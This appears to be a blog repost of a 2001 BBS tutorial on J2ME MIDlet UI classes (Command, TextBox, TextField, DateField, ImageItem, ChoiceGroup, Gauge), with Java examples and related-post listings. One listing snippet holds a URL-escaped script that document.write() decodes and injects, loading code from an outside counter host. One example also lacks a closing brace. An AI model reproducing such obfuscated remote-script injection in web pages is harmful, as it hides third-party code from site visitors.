J2ME学习札记2

MuJoCo Playground 机器人强化学习入门教程(一) MuJoCo Playground 包含 DM 控制套件、机器人运动和机器人操作环境。env每个环境还与一个环境配置相关联,如果需要,可以覆盖该配置。env_cfg请注意,环境配置包含 sim_dt 和 ctrl_dt。ctrl_dt 决定每个 env.step 的时间间隔。因此,每个 env.step 的模拟步长为 ctrl_dt / sim_dt 倍。其他值得注意的参数还有 vision_config,我们将在基于视觉的笔记本中详细讨论!现在,我们将专注于特权观察。 阅读详情

 在前面我们其实已经使用过Command对象了。J2ME的事件系统比较特殊,你必须首先定义一
系列的命令,然后注册到容器对象中,例如(Form、Alert、List、TextBox),再设定命令监听者
,编写好commandAction()方法即可。当系统发送某个命令,便由commandAction()方法进行统
筹处理。下面的程序演示了如何定义多个命令以及如何编写commandAction()方法。
package fancy.test;

import javax.microedition.midlet.*;
import javax.microedition.lcdui.*;

public class CMD extends MIDlet implements CommandListener
{
private Display display;
        private Form props;

 private Command backCommand = new Command("BACK", Command.BACK, 2);
 private Command cancelCommand = new Command("CANCEL", Command.CANCEL, 1);
 private Command exitCommand = new Command("EXIT", Command.EXIT, 1);
 private Command helpCommand = new Command("HELP", Command.HELP, 1);
 private Command itemCommand = new Command("ITEM", Command.ITEM, 1);
 private Command okCommand = new Command("OK", Command.OK, 1);
 private Command screenCommand = new Command("SCREEN", Command.SCREEN, 1);
 private Command stopCommand = new Command("STOP", Command.STOP, 1);

   
public CMD()
{
display = Display.getDisplay(this);
        }

public void startApp()
{
props = new Form("Hello World");
props.append("Hello World!/n");

props.addCommand(backCommand);
props.addCommand(cancelCommand);
props.addCommand(exitCommand);
props.addCommand(helpCommand);
props.addCommand(itemCommand);
props.addCommand(okCommand);
props.addCommand(screenCommand);
props.addCommand(stopCommand);
props.setCommandListener(this);
display.setCurrent(props);
        }

public void showScreen(String cmd)
{
Form form=new Form("show cmd");
form.append(cmd);
form.addCommand(exitCommand);
form.setCommandListener(this);
display.setCurrent(form);

}

public void commandAction(Command c, Displayable s)
{
if (c == exitCommand)
{
destroyApp(false);
   notifyDestroyed();
}
else if(c==helpCommand)
{
showScreen("help");
}
else if(c==backCommand)
{
showScreen("back");
}
else if(c==cancelCommand)
{
showScreen("cancel");
}
else if(c==itemCommand)
{
showScreen("item");
}
else if(c==okCommand)
{
showScreen("ok");
}
else if(c==screenCommand)
{
showScreen("screen");
}
if(c==stopCommand)
{
showScreen("stop");
}


        }

public void destroyApp(boolean unconditional)
{
        }

public void pauseApp()
{
display.setCurrent(null);
props = null;
        }

}
 在上面的程序(CMD.java)中定义了八个命令。如果commandAction()方法接到这八个命令,
多半是调用showScreen()方法,将这几个命令输出。showScreen()方法会产生一个新的容器对
象(Form),作为当前的屏幕,并把截获的命令显示在屏幕中。
 CMD.java的运行效果如下2图所示(当屏幕出现Hello World字样的时候,你需要按下退出键
,命令菜单就会出现了,你可以依次执行各个命令)。


TextBox文本框对象
发信站: 北大未名站 (2001年10月20日20:36:34 星期六) , 站内信件

 TextBox是一个容器类型的对象(和Form的性质一样)。用法如下所示:

package fancy.test;

import javax.microedition.midlet.*;
import javax.microedition.lcdui.*;

public class ShowTextBox extends MIDlet implements CommandListener
{
private Display display;
        private TextBox txtBox;
 
private Command exitCommand = new Command("Exit", Command.EXIT, 1);

public ShowTextBox()
{
display = Display.getDisplay(this);
        }

public void startApp()
{
//or :
//String str="hello world";
//txtBox = new TextBox("Text Box",str,str.length(),0);
//the follow code is wrong:
//txtBox = new TextBox("Text Box",str,any number here,0);

txtBox = new TextBox("Text Box",null,200,0);

txtBox.addCommand(exitCommand);
txtBox.setCommandListener(this);
display.setCurrent(txtBox);
        }

public void commandAction(Command c, Displayable s)
{
if (c == exitCommand)
{
destroyApp(false);
   notifyDestroyed();
}
        }

public void destroyApp(boolean unconditional)
{
        }

public void pauseApp()
{
display.setCurrent(null);
txtBox = null;
        }

}
 请注意TextBox类的构造函数,第一个参数实际上是窗口的名称(因为TextBox是一个容器,可
能是当前屏幕的显示对象),第二个参数是缺省值,第三个参数是输入字符的总长度。如果你设
置了文本框的缺省值,那么第三个参数必须是缺省字符的长度。如果第三个参数的值和缺省字
符的长度不一样,那么程序运行不成功(编译可以通过)。如果你将第二个参数置为null值,那
么第三个参数可以任意设。
 ShowTextBox.java的运行效果如下图所示:

TextField文本域对象
发信站: 北大未名站 (2001年10月20日20:37:59 星期六) , 站内信件

 TextField和TextBox有点相似,不过TextBox是多行的,而TextField是单行的。而且TextBo
x是容器类型的对象,但是TextField是项目类型的对象,只能够被容器包含,不能够单独显示。
TextField文本域对象的用法如下所示:
package fancy.test;

import javax.microedition.midlet.*;
import javax.microedition.lcdui.*;

public class ShowTextField extends MIDlet implements CommandListener
{
private Display display;
private Form props;
        private TextField txtField;
 
private Command exitCommand = new Command("Exit", Command.EXIT, 1);

public ShowTextField()
{
display = Display.getDisplay(this);
        }

public void startApp()
{
props = new Form("Hello World");
props.append("Hello World!/n");
txtField=new TextField("EMail:", "", 15,TextField.EMAILADDR);
props.append(txtField);
props.addCommand(exitCommand);
props.setCommandListener(this);
display.setCurrent(props);
        }

public void commandAction(Command c, Displayable s)
{
if (c == exitCommand)
{
destroyApp(false);
   notifyDestroyed();
}
        }

public void destroyApp(boolean unconditional)
{
        }

public void pauseApp()
{
display.setCurrent(null);
props = null;
        }

}
 请注意startApp()方法,我们使用Form对象作为当前屏幕的显示对象,而将TextField对象作
为Form的一个子项目显示。下面来介绍TextField类的构造函数,第一个参数是文本域的名称
,第二个参数是缺省值,第三个参数是长度,第四个参数是文本域的类型,可选的值有: TextFi
eld.PASSWORD、TextField.EMAILADDR、TextField.PHONENUMBER、TextField. URL、TextFi
eld. NUMERIC等等。构造好TextField对象之后,调用Form的append()方法将它添加到Form对
象的子项目中。ShowTextField.java程序的运行效果如下图所示:

DateField对象
发信站: 北大未名站 (2001年10月20日20:39:14 星期六) , 站内信件

  DateField对象和TextField对象一样同属于项目类型的对象,不能够单独显示,必须作为容
器对象的子项目显示。DateField对象的作用是显示一个日期,它和Windows控制面板中的时间
和日期设置程序有点近似。DateField对象的用法如下所示:
package fancy.test;

import javax.microedition.midlet.*;
import javax.microedition.lcdui.*;

public class ShowDateField extends MIDlet implements CommandListener
{
private Display display;
        private Form props;
private DateField datField;
 
private Command exitCommand = new Command("Exit", Command.EXIT, 1);

public ShowDateField()
{
display = Display.getDisplay(this);
        }

public void startApp()
{
props = new Form("Hello World");
props.append("Hello World!/n");
//change:
//datField=new DateField("Date:",DateField.DATE_TIME);
//datField=new DateField("Date:",DateField.TIME);
datField=new DateField("Date:",DateField.DATE);
props.append(datField);
props.addCommand(exitCommand);
props.setCommandListener(this);
display.setCurrent(props);
        }

public void commandAction(Command c, Displayable s)
{
if (c == exitCommand)
{
destroyApp(false);
   notifyDestroyed();
}
        }

public void destroyApp(boolean unconditional)
{
        }

public void pauseApp()
{
display.setCurrent(null);
props = null;
        }

}
 ShowDateField.java程序的运行效果如下面两图所示:

StringItem对象
发信站: 北大未名站 (2001年10月20日20:41:21 星期六) , 站内信件

  StringItem对象和TextField、DateField对象类似,同样属于项目类型的对象。它的作用
就是在容器对象中显示一条字符串。
package fancy.test;

import javax.microedition.midlet.*;
import javax.microedition.lcdui.*;

public class ShowStringItem extends MIDlet implements CommandListener
{
private Display display;
        private Form props;
private StringItem strItem;
private StringItem strItem2;
 
private Command exitCommand = new Command("Exit", Command.EXIT, 1);

public ShowStringItem()
{
display = Display.getDisplay(this);
        }

public void startApp()
{
props = new Form("Hello World");
props.append("Hello World!/n");
strItem=new StringItem("signature:","小楼一夜听春雨");
strItem2=new StringItem("signature:","三教明天考物化");

props.append(strItem);
props.append(strItem2);
props.addCommand(exitCommand);
props.setCommandListener(this);
display.setCurrent(props);
        }

public void commandAction(Command c, Displayable s)
{
if (c == exitCommand)
{
destroyApp(false);
   notifyDestroyed();
}
       }

public void destroyApp(boolean unconditional)
{
        }

public void pauseApp()
{
display.setCurrent(null);
props = null;
        }

}
ShowStringItem.java程序的运行效果如下图所示:


ImageItem对象
发信站: 北大未名站 (2001年10月20日21:10:50 星期六) , 站内信件

 ImageItem对象是一个项目类型的对象,他的作用是在容器中显示图片。那么如何使用Imag
eItem对象呢?请按照下面三个步骤进行:
1.构造一个Image对象,相关代码如下所示:
Image img=Image.createImage("/fancy/test/JavaPowered-8.png");
 createImage()方法是Image类的静态方法,它的作用是根据图形文件创建一个Image对象。
J2ME程序中所用到的图片文件必须存放在apps/fancy/res文件夹下面。
2.构造ImageItem对象,相关代码如下所示:
imgItem=new ImageItem("Default Layout",img,ImageItem.LAYOUT_DEFAULT,
"Image Cannot be shown");
 ImageItem类的构造函数有三个参数,第一个参数的作用是显示一个标签,第二个参数指明图
片的对齐方式,第三个参数的作用是显示图片的tip。
3.利用容器类对象的append()方法将ImageItem对象添加进去。如:
props.append(imgItem);
 下面我们来看一个比较完整的例子。
package fancy.test;

import javax.microedition.midlet.*;
import javax.microedition.lcdui.*;

public class ShowImageItem extends MIDlet implements CommandListener
{
private Display display;
        private Form props;
private Image img;
private ImageItem imgItem;
 
private Command exitCommand = new Command("Exit", Command.EXIT, 1);

public ShowImageItem()
{
display = Display.getDisplay(this);
        }

public void startApp()
{
props = new Form("Hello World");
//props.append("Hello World!/n");
try
{
img=Image.createImage("/fancy/test/JavaPowered-8.png");
imgItem=new ImageItem("Default  Layout",
                   img,ImageItem.LAYOUT_DEFAULT,"Image Cannot be shown");
props.append(imgItem);
props.append(new ImageItem("Left Layout",
                   img,ImageItem.LAYOUT_LEFT,"Image Cannot be shown"));
props.append(new ImageItem("Center Layout",
                   img,ImageItem.LAYOUT_CENTER,"Image Cannot be shown"));
}
catch(Exception fe)
{
//to do nothing
}

props.addCommand(exitCommand);
props.setCommandListener(this);
display.setCurrent(props);
        }

public void commandAction(Command c, Displayable s)
{
if (c == exitCommand)
{
destroyApp(false);
   notifyDestroyed();
}
        }

public void destroyApp(boolean unconditional)
{
        }

public void pauseApp()
{
display.setCurrent(null);
props = null;
        }

}
 ShowImageItem.java程序的运行效果如下图所示:


ChoiceGroup对象
发信站: 北大未名站 (2001年10月20日21:12:23 星期六) , 站内信件

 ChoiceGroup也是一个项目类型的对象,它代表一个选择列表,它的作用和List对象类似,不
过后者是一个容器,而前者是一个项目。
 我们需要特别注意ChoiceGroup类的构造函数,它有四个参数,第一个参数是标签,第二个参
数是此选择列表的类型,例如多选还是单选。第三个参数是一个字符串数组,代表每个选项的
标签,第四个选项是一个Image类型的数组,代表每个选项前面的小图标。下面是一个比较完整
的例子。
package fancy.test;

import javax.microedition.midlet.*;
import javax.microedition.lcdui.*;

public class ShowChoiceGroup extends MIDlet implements CommandListener
{
private Display display;
        private Form props;
private Image duke;
private Image[] imageArray;
private ChoiceGroup choice;
 
private Command exitCommand = new Command("Exit", Command.EXIT, 1);

public ShowChoiceGroup()
{
display = Display.getDisplay(this);
        }

public void startApp()
{
props = new Form("Hello World");
//props.append("Hello World!/n");
try
{
Image duke= Image.createImage("/fancy/test/Icon.png");
imageArray = new Image[]{duke,duke,duke};
String[] stringArray = { "Option A", "Option B",
                   "Option C" };
choice=new ChoiceGroup("choice group",
                     ChoiceGroup.MULTIPLE,stringArray,imageArray);
props.append(choice);
}
catch(Exception fe)
{
//to do nothing.
}
props.addCommand(exitCommand);
props.setCommandListener(this);
display.setCurrent(props);
        }

public void commandAction(Command c, Displayable s)
{
if (c == exitCommand)
{
destroyApp(false);
   notifyDestroyed();
}
       

public void destroyApp(boolean unconditional)
{
        }

public void pauseApp()
{
display.setCurrent(null);
props = null;
        }
}
ShowChoiceGroup.java程序的运行效果如下图所示:

Gauge对象
发信站: 北大未名站 (2001年10月20日21:13:19 星期六) , 站内信件

 Gauge对象是一个项目类型的对象,它的作用是显示一个进度条。请看下面的源代码。Gaug
e类的构造函数的后面两个参数分别是进度条的最大值和初始值。
package fancy.test;

import javax.microedition.midlet.*;
import javax.microedition.lcdui.*;

public class ShowGauge extends MIDlet implements CommandListener
{
private Display display;
        private Form props;
 
private Command exitCommand = new Command("Exit", Command.EXIT, 1);

public ShowGauge()
{
display = Display.getDisplay(this);
        }

public void startApp()
{
props = new Form("Hello World");
//props.append("Hello World!/n");
Gauge gauge=new Gauge("show gauge",true,100,50);
props.append(gauge);
props.addCommand(exitCommand);
props.setCommandListener(this);
display.setCurrent(props);
        }

public void commandAction(Command c, Displayable s)
{
if (c == exitCommand)
{
destroyApp(false);
   notifyDestroyed();
}
        }

public void destroyApp(boolean unconditional)
{
        }

public void pauseApp()
{
display.setCurrent(null);
props = null;
        }

}
ShowGauge.java程序的运行效果如下图所示:

<script src="j2me学习札记2.files/show_ads.js" type="text/javascript"> </script> name="google_ads_frame" marginwidth="0" marginheight="0" src="http://pagead2.googlesyndication.com/pagead/ads?client=ca-pub-5923165942793302&dt=1199419133812&lmt=1173698944&prev_fmts=468x60_as&format=468x60_as&output=html&url=file%3A%2F%2F%2FC%3A%2FDocuments%2520and%2520Settings%2Fzyq%2F%E6%A1%8C%E9%9D%A2%2Fjava%E5%AD%A6%E4%B9%A0%2Fjava%E5%AD%A6%E4%B9%A0%E8%B5%84%E6%96%99%2FJ2ME%E5%AD%A6%E4%B9%A0%E6%9C%AD%E8%AE%B02.htm&color_bg=666666&color_text=FFFFFF&color_link=FFFFFF&color_url=FFFFFF&color_border=666666&ad_type=text_image&cc=100&u_h=768&u_w=1024&u_ah=738&u_aw=1024&u_cd=32&u_tz=480&u_java=true" frameborder="0" width="468" scrolling="no" height="60" allowtransparency="allowtransparency">
 
C# 固高板卡(总线型) 操作类 主要功能有:初始化,轴使能,正负方向手动移动,回0,点到点移动,等待移动完成,输入IO数据读取,输出IO控制,清除报警等功能。 阅读详情

相关推荐

【LabVIEW懒人系列教程-视觉入门】2.6LabVIEW模板匹配之创建模板

上期2.5在Labview软件框架中实现了模板匹配功能的运用,然而我们的模板图像是通过视觉助手创建出来的,在实际项目中这样做 ,难免有些不妥。所以,今天就给大家讲解一下,如何编写创建模板功能,模板图像的创建与加载需要注意一些什么。 模板图片的创建,大家可以理解为将图像中的一个特征区域扣下来,通过Labview函数进行信息学习,然后保存成带有图像信息的模板图。 具体做法,下面为大家演示一下 百度网盘视频链接:https://pan.baidu.com/s/1-zxcJBxPgk4t1Ej..

视觉龙哥 2167

第一个手机程序---简单菜单

import javax.microedition.lcdui.Command;import javax.microedition.lcdui.Display;import javax.microedition.lcdui.Form;import javax.microedition.midlet.MIDlet;import javax.microedition.midlet.MIDletStat

Smart coding space 438

四十二、Fluent欧拉模型流化床模拟:从基础设置到颗粒动力学解析

本文详细解析了Fluent欧拉模型在流化床模拟中的应用,从基础概念到颗粒动力学设置全面覆盖。重点介绍了欧拉模型的颗粒温度概念、多相流配置技巧以及关键参数优化策略,帮助工程师准确模拟气固两相流动现象。通过实用案例演示了网格检查、求解器配置和边界条件设置的最佳实践。

weixin_27303545的博客 445

J2ME学习札记

发信人: javalover (欲下未下风悠扬), 信区: Java 标 题: J2ME学习札记 发信站: 北大未名站 (2001年10月17日22:22:58 星期三) , 站内信件 (1)-----什么是J2ME? J2ME就是Java 2 Platform,micro Edition的缩写。J2ME是Java 2的一个组成部分,与J2 SE、J2EE并称。根据Sun Microsys

Stone的专栏 2960

IPD实战指南:如何运用SPAN模型精准定位高潜力市场并优化资源配置

本文是IPD实战指南,详细解析了如何运用SPAN模型进行市场分析与战略决策。文章通过四步实战法,指导企业科学定义细分市场、量化评估吸引力与竞争力,并绘制矩阵以制定精准的资源配置策略,从而跳出红海竞争,将资源聚焦于高潜力市场。

weixin_29306317的博客 74

Potplayer + LAVFilters + madVR 配置教程

文章目录Potplayer + LAVFilters + madVR 配置教程工具安装篇设置调教1.potplayer播放器设置加载LAVFilters和madVR1.选择“源滤镜/分离器”选项,选择“滤镜/解码器管理”2.“添加外部滤镜”3.浏览到刚才LAVFilters解压的文件夹,分别添加图示项。4.添加后回到管理界面设置,点击左边的”LAV AudioDecoder”,将右边”音频解码器”...

re 16万+

J2ME学习札记9-20

标 题: J2ME学习札记(9)-------HelloWorld解释一发信站: 北大未名站 (2001年10月18日23:00:21 星期四) , 站内信件要停电了,只好写道这里了。1) package fancy.test;这行代码声明当前类所在的包。这是有必要的。而且这个包名必须和src文件夹中的目录结构对应。2)import javax.microedition.midlet.*;impo

jimgoo的专栏 762

简单的服务器取证

记一次入门服务器取证——药品直销网,涵盖旧版本宝塔、静态IP的配置更改、代码的理解

m0_74559567的博客 3756

J2ME学习札记1

 J2ME就是Java 2 Platform,micro Edition的缩写。J2ME是Java 2的一个组成部分,与J2SE、J2EE并称。根据Sun Microsystems,Inc.的定义:J2ME是一种高度优化的Java运行环境,针对市面上的大量消费类电子设备,例如Papers、cellular phones(蜂窝电话), screen-phones(可视电话?)、digital set

技术就是个纸老虎---为之,则难者亦易矣;不为,则易者亦难矣。 748

5步VS传统WinForm!AntdUI让界面设计从“土味”到“超模”只需30秒?

摘要:墨瑾轩编程教程《AntdUI的5大魔法步骤》详解如何将传统WinForm升级为现代化UI。教程通过5个核心步骤:安装AntdUI库、控件替换、主题定制、复杂布局构建及实战案例演示,对比传统开发与AntdUI在美观度(动态阴影/动画)、开发效率(拖拽组件VS手工绘制)和主题定制(一键换肤VS重写控件)的显著差异。使用C#代码示例展示按钮动画、3D翻转、聊天界面等特效实现,帮助开发者快速掌握这一基于Ant Design风格的WinForm增强框架。(150字)

java专栏 1129

YOLOv8交通监控全方案:精准车辆计数+违章(闯红灯/压线)识别,拿来就落地!

作为深耕计算机视觉落地的开发者,我见过太多交通监控的“伪智能”——传统系统要么车辆计数不准(漏计/重复计数),要么违章识别滞后(靠人工回看录像),甚至连“闯红灯、压线”这类常见违章都无法实时判定,完全满足不了实际交通管理需求。

专注于Python爬虫开发,分享爬虫技巧、项目实战与反爬经验,使用Scrapy、BeautifulSoup等工具,解决数据抓取难题。 646

J2ME学习札记————小白坏坏

   J2ME学习札记ME体系架构和环境配置1 JAVA分支:J2SE JAVA标准版J2EE JAVA企业版(一般运行在工作站或服务器上)J2ME JAVA小型版(独立设备、互联移动设备、嵌入式设备)2 J2ME体系架构 可选包  --------针对特定的手机提供的特定的包  描述   配置  --------核心库和虚拟机  CDC互联设备配置  CLDC互联受限设备  JVM 

anmingzhe11的专栏 462

基于VSCode+clangd插件打造高效C++开发环境之四:clangd配置

本文介绍如何配置VSCode+clangd插件进行高效C++开发。重点内容包括:1)生成compile_commands.json文件,通过ninja工具提取编译命令并使用gen_compdb脚本转换;2)配置clangd命令行参数,如设置后台索引、并行度等;3)编写.clangd配置文件,调整编译标志和诊断选项;4)添加.clang-format文件定义代码风格;5)在VSCode中添加远程服务器工作目录。配置完成后需重启clangd服务使更改生效。文章还提供了MTK/QCOM等不同平台生成compile

5070

J2ME学习札记(1-8)

发信人: javalover (欲下未下风悠扬), 信区: Java标 题: J2ME学习札记(1)-----什么是J2ME?发信站: 北大未名站 (2001年10月17日22:22:58 星期三) , 站内信件J2ME就是Java 2 Platform,micro Edition的缩写。J2ME是Java 2的一个组成部分,与J2SE、J2EE并称。根据Sun Microsystems,Inc.

jimgoo的专栏 797

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

J2ME学习札记3

Ticker对象发信站: 北大未名站 (2001年10月20日21:14:25 星期六) , 站内信件 Ticker对象是一个项目类型的对象,它的作用相当于一个滚动消息栏,在屏幕的上方显示滚动的信息。 Ticker类的构造函数仅有一个参数,那就是需要滚动显示的消息。package fancy.test; import javax.microedition.midlet.*;import j

技术就是个纸老虎---为之,则难者亦易矣;不为,则易者亦难矣。 749

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

J2Me学习札记21-30+后记

标 题: J2ME学习札记(21)-----ImageItem对象发信站: 北大未名站 (2001年10月20日21:10:50 星期六) , 站内信件ImageItem对象是一个项目类型的对象,他的作用是在容器中显示图片。那么如何使用ImageItem对象呢?请按照下面三个步骤进行:1.构造一个Image对象,相关代码如下所示:Image img=Image.createImage("/fanc

jimgoo的专栏 791

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

J2ME学习笔记(1)

 HTML Tags and JavaScript tutorialvar encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);

394

J2ME学习笔记(基础1)

什么是J2ME? J2ME就是Java 2 Platform,micro Edition的缩写。J2ME是Java 2的一个组成部分,与J2SE、J2EE并称。 根据Sun Microsystems,Inc.的定义:J2ME是一种高度优化的Java运行环境,针对市面上的大量消费类电子 设备,例如Papers、cellularphones(蜂窝电话), screen-phones(可视电话?)、di

寻寻觅觅 366

读书札记(一)

import java.lang.*;import java.io.*;import java.util.*;import javax.microedition.lcdui.*;public class gKey {public int key_UP;public int key_DOWN;public int key_LEFT;public int key_RIGHT;public int ke

软件开发资料汇总 202

学习札记之MATLAB:矩阵运算与for循环

学习札记(一)之MATLAB矩阵运算与for循环 单层的for循环貌似与矩阵运算的区别不大 两层以上的for循环则明显慢于矩阵运算 遇到的问题 用MATLAB做蒙特卡洛仿真时,需要随机生成一个很大矩阵的随机数 for j = 1:length(Pj1) j Pj = Pj1(j); for k = 1:length(N1) k N = N1(k); tm(k) = erfenfa(@tm_mtcl,0,10,1e-3); tm1 = tm(k); if

qq_41926906的博客 6430

容安馆札记 588则 笺疏

五八八 Jottings: Letters of J.M. Barrie, ed. Viola Meynell, p. 48: “I have another cold. I think it came because a dog wagged its tail at me in passing, thus creating a draught(我又感冒了,我想是因为一条狗在路过的时候向我摇了摇尾巴,造成了一股气流导致的。).” Cf. Tristan Bernard & Albert Ce

u014743724的博客 1594

Java虚拟机札记-概述

今天开始学习Java虚拟机。本文介绍Java虚拟机的基础知识。 JDK与JRE 在学习Java虚拟机之前,我们先来复习下JRE和JDK的定义。JRE,Java Runtime Environment,意为Java运行时环境,包含Java虚拟机和Java API类库。JDK,ava Development Kit ,意为Java开发工具包,包含JRE和Java工具(如编译Java程序的Javac

潘威威的博客 1179

Android学习札记一:初涉View(1)

在View的学习中,借鉴以往JavaME的经验,这里首先把它们使用到的一些类、方法等简单做下类比:Android-->JavaMEView-->CanvasCanvas-->GraphicsonDraw(Canvas canvas)-->paint(Graphics g);...好,为直观起见,先呈出效果图ViewMain类代码package demo.view; import android.content.Context; import android.graphics.Bitmap; imp

tiewantn的专栏 2375

工作Android项目编译札记

最近一头扎进安卓的坑。Android小白sync project with gradle总是坎坷无比是不是?总算弄好一次, 过了一阵又挂了有木有? 此篇主要总结在这次成功编译之后,各种惨痛的踩坑历程。(项目名称已在文中隐去) 下载资源踩坑 gradle-x.x-all.zip文件 Android studio在sync项目时会先下载gradle-x.x-all.zip文件, 具体那个版本,是由项目...

葡萄老君 726

SpringBoot 札记 ( Shiro入门 )

一:什么是Shiro Apache Shiro 是 Java 的一个安全框架。 不仅可以用在 JavaSE 环境,也可以用在 JavaEE 环境。Shiro 可以帮助我们完成:认证、授权、加密、会话管理、与 Web 集成、缓存等 官网:https://shiro.apache.org/ 点击进入Shiro官网 二:基本功能 Authentication:身份认证 / 登录,验证用户是不是拥有相应的身份; Authorization:授权,即权限验证,验证某个已认证的用户是否拥有某个权限;即判断用户是否能

CSNZのBlog 241

lua on cocos2dx 札记(一)

引子 2013年末的清闲日子里,偶拾lua,窥得coco2ds,勾起早年j2me游戏开发回忆。。。 兵器谱: 1、ubuntu:winxp上的各种安全工具搞得人心烦,以至于我这个做产品的非php人员也换装ubuntu裸奔。。。 2、jdk:老朋友了,刚接触时还是1.2,依稀记得还做过一个1.0的项目迁移;事过境迁,现在捡起了1.7。。。 3、adk + ndk + cocos2d

oztang的专栏 1216
上一篇: J2ME学习札记3
下一篇: J2ME学习札记1
aspnet2002web
博客等级 码龄21年 482粉丝 310原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值